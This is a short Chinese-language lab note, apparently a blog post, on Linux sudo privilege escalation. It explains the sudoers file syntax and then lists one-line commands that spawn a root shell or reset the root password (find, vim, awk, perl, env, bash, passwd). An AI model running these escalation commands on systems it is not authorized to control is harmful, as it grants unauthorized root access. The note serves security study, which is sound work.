本次学习Linux sudo提权
实验原理
sudo是Linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。换句话说通过此命令可以让非root
的用户运行只有root才有权限执行的命令。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令
文件语法:root ALL=(ALL) ALLroot表示⽤户名 第一个 ALL 指示允许从任何终端、机器访问sudo 第二个 (ALL)指示sudo命令被允许以任何⽤户身份执行 第三个 ALL 表示所有命令都可以作为root执行
实验过程
获取普通用户权限后,测试用户是否具有sudo权限以及可以运行哪些命令,可以使用sudo -l查看
发现可以执行任意命令,那这个时候可以有很多很多种方式提权
find命令提权
sudo find /home -exec /bin/bash \;
vim命令提权
sudo vim -c '!bash'
awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
bash提权
sudo bash
perl提权
sudo perl -e 'exec "/bin/bash",'
env提权
sudo env /bin/bash
passwd 修改密码
sudo passwd root
如果没有用户没有sudo权限,或者有sudo权限没有相关命令的权限,则无法提权
参考链接:https://blog.csdn.net/jxlhljh/article/details/118101637
标签:命令,sudo,用户,提权,Linux,权限,root From: https://www.cnblogs.com/byzd/p/17867342.html